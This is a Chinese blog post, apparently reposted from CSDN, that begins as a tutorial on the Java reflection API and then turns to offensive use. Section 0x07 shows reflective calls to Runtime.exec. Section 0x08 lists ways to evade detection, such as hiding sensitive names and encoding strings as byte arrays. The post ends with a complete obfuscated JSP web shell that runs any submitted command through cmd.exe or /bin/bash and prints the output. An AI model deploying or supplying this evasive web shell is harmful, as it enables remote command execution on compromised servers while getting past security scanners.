Java反射与利用

作者:SakuraUnique
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x00 前言

反射可以说是Java中最强大的技术了,它可以做的事情太多太多,很多优秀的开源框架都是通过反射完成的,比如最初的很多注解框架,后来因为java反射影响性能,所以被运行时注解APT替代了,java反射有个开源框架jOOR相信很多人都用过,不过我们还是要学习反射的基础语法,这样才能自己写出优秀的框架,当然这里所讲的反射技术,是学习Android插件化技术、Hook技术等必不可少的!

0x01 java反射(Reflection)是什么

    JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

0x02 反射的好处

可以在程序运行过程中,操作这些对象;
可以降低程序的一些耦合性,提高程序的可扩展性。

0x03 Java反射机制的类都位于java.lang.reflect包中

Class类:代表一个类
Field类:代表类的成员变量(类的属性)
Method类:代表类的方法
Constructor类:代表类的构造方法
Array类:提供了动态创建数组,以及访问数组的元素的静态方法

0x04Java反射可以干什么

获取类对象
在反射中,要获取一个类或调用一个类的方法,我们首先需要获取到该类的 Class 对象。
在 Java API 中,获取 Class类对象有三种方法:

Person mPerson = new Person();
        Class c1 = mPerson.getClass();//明确具体的类
        Class c2 = Person.class;//编译前就知道操作的Class
        Class c3 =Class.forName("com.wld.java.blogs.reflect.Person"); //知道该类的全路径名

获取类方法

getMethods() //获取所有public的方法,包括从父类以及接口继承的
getDeclaredMethods()//获取当前类的所有方法,包括私有的
getMethod("methodName",Class...class) //获取指定的方法
getDeclaredMethod("methodName",Class...class) //获取指定的方法

获取类成员变量

getFields() //获取所有public的属性,包括从父类以及接口继承的
getDeclaredFields()//获取当前类的所有属性,包括私有的
getField("fieldName")//获取指定的属性
getDeclaredField("fieldName")//获取指定的属性

获取构造方法

getConstructors()//获取当前类的所有public的构造函数,由于子类不能继承父类的构造函数,所以获取不到父类的构造函数
getDeclaredConstructors() //获取当前类的所有构造函数,包括私有的
getConstructor(Class... class) //获取指定的构造函数
getDeclaredConstructor(Class...class) //获取指定的构造函数

0x05 invoke

Object invoke(Objectobj, Object ... args)
Object对应原方法的返回值,若原方法无返回值,此时返回null
若原方法若为静态方法,此时形参Objectobj可为null
若原方法形参列表为空,则Object[]args为null
若原方法声明为private,则需要在调用此invoke()方法前,显式调用方法对象的setAccessible(true)方法,将可访问private的方法。

在这里插入图片描述

0x06 通过反射创建类对象

通过反射创建类对象主要有两种方式:
通过 Class 对象的 newInstance()方法、
通过 Constructor 对象的 newInstance()方法。

第一种:通过 Class 对象的 newInstance()方法。

Class clz = Apple.class;
Apple apple = (Apple)clz.newInstance();

第二种:通过 Constructor 对象的 newInstance() 方法

Class clz = Apple.class;
Constructor constructor =clz.getConstructor();
Apple apple =(Apple)constructor.newInstance();

通过 Constructor 对象创建类对象可以选择特定构造方法,而通过Class 对象则只能使用默认的无参数构造方法。下面的代码就调用了一个有参数的构造方法进行了类对象的初始化。

Class clz = Apple.class;
Constructor constructor =clz.getConstructor(String.class, int.class);
Apple apple = (Apple)constructor.newInstance("红富士", 15);

0x07利用反射机制调用Runtime类exec方法执行系统命令代码

String op = "";
Class rt =Class.forName("java.lang.Runtime");
Method gr =rt.getMethod("getRuntime");
Method ex = rt.getMethod("exec",String.class);
Process e = (Process) ex.invoke(gr.invoke(null,new Object[]{
    
    }),  "cmd /c pingwww.baidu.com");
Scanner sc = newScanner(e.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
System.out.print(op);

0x08如何绕过检测


1. 避免出现敏感变量名
"cmd""system ""exec""shell""execute"" spy ""command"等等
2. 字符串拆解重组
   "cmd""/c""/bin/bash""-c"等都做了处理,由字节转为字符串
3. 使用Scanner接收回显
   接收命令回显数据时,避免使用BufferedReader等常见手段
4. 用fileSeparator来判断操作系统类型
   一般使用System.getProperty/getProperties获取操作系统的类型,这里使用路径分隔符简单判断,然后再选用"cmd /c"或者"/bin/bash -c"来执行命令

0x09能够绕过检测的执行系统命令代码(附上详细注释)

<%--jsp标签
<%@ %>    页面指令,设定页面属性和特征信息
<% %>     java代码片段,不能在此声明方法
<%! %>    java代码声明,声明全局变量或当前页面的方法
<%= %>    Java表达式 
ProcessBuilder.start()  Runtime.exec() 方法都被用来创建一个操作系统进程(执行命令行操作),并返回 Process 子类的一个实例,该实例可用来控制进程状态并获得相关信息。
ProcessBuilder.start()  Runtime.exec()传递的参数有所不同,Runtime.exec()可接受一个单独的字符串,这个字符串是通过空格来分隔可执行命令程序和参数的;也可以接受字符串数组参数。而ProcessBuilder的构造函数是一个字符串列表或者数组。列表中第一个参数是可执行命令程序,其他的是命令行执行是需要的参数。

--%>
<%@ page import="java.util.Scanner" pageEncoding="UTF-8" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>

<FORM METHOD=POST ACTION='#'>
    <INPUT name='q' type=text>
    <INPUT type=submit value='Fly'>
</FORM>

<%!
    public static String getPicture(String str) throws Exception{
    
    
        String fileSeparator = String.valueOf(java.io.File.separatorChar);////file.separator这个代表系统目录中的间隔符,说白了就是斜线
        if(fileSeparator.equals("\\")){
    
    
            str = new String(new byte[] {
    
    99, 109, 100, 46, 101, 120, 101, 32, 47, 67, 32}) + str;
            ////new byte[]以字节数组构造字符串对象
            //new byte[] {
    
    99, 109, 100, 46, 101, 120, 101, 32, 47, 67, 32}------cmd.exe /C 
        }else{
    
    
            str =  new String(new byte[] {
    
    47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32}) + str;
            //byte[] {
    
    47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32}-----------/bin/bash -c 
        }
        Class rt = Class.forName(new String(new byte[] {
    
     106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
        //byte[] {
    
     106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }------java.lang.Runtime
        Process e = (Process) rt.getMethod(new String(new byte[] {
    
     101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] {
    
     103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null, new Object[]{
    
    }),  new Object[] {
    
     str });
        //byte[] {
    
     101, 120, 101, 99 }---------exec
        //byte[] {
    
     103, 101, 116, 82, 117, 110, 116, 105, 109, 101 }----------getRuntime
        //使用Scanner接收回显
        //useDelimiter-->\\A作为输入的分隔符
        //scanner的分隔符,默认是空格,\\A为正则表达式,表示从字符头开始,这条语句的整体意思就是读取所有输入,包括回车换行符。\A是从字符串开头进行匹配,\Z是从字符串结尾进行匹配
        Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
        String result = "";
        ////hasNext()和Next()效果其实是一样的,系统都会等待输入下一个字符,只是返回值不同,hasNext()会返回true,next()返回输入的字符
        result = sc.hasNext() ? sc.next() : result;
        sc.close();
        return result;
    }
%>

<%
    String name ="Input Nothing";
    String query = request.getParameter("q");
    if(query != null) {
    
    
        name = getPicture(query);
    }
%>

<pre>
<%= name %>
</pre>

</BODY>
</HTML>

参考:
https://www.iteye.com/blog/desert3-1596020
https://xz.aliyun.com/t/2342#toc-4
喜欢点个再看吧,阿巴阿巴阿巴~~~~~~~~~~~

0x10 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!
在这里插入图片描述

Guess you like

Origin blog.csdn.net/weixin_42282189/article/details/120211150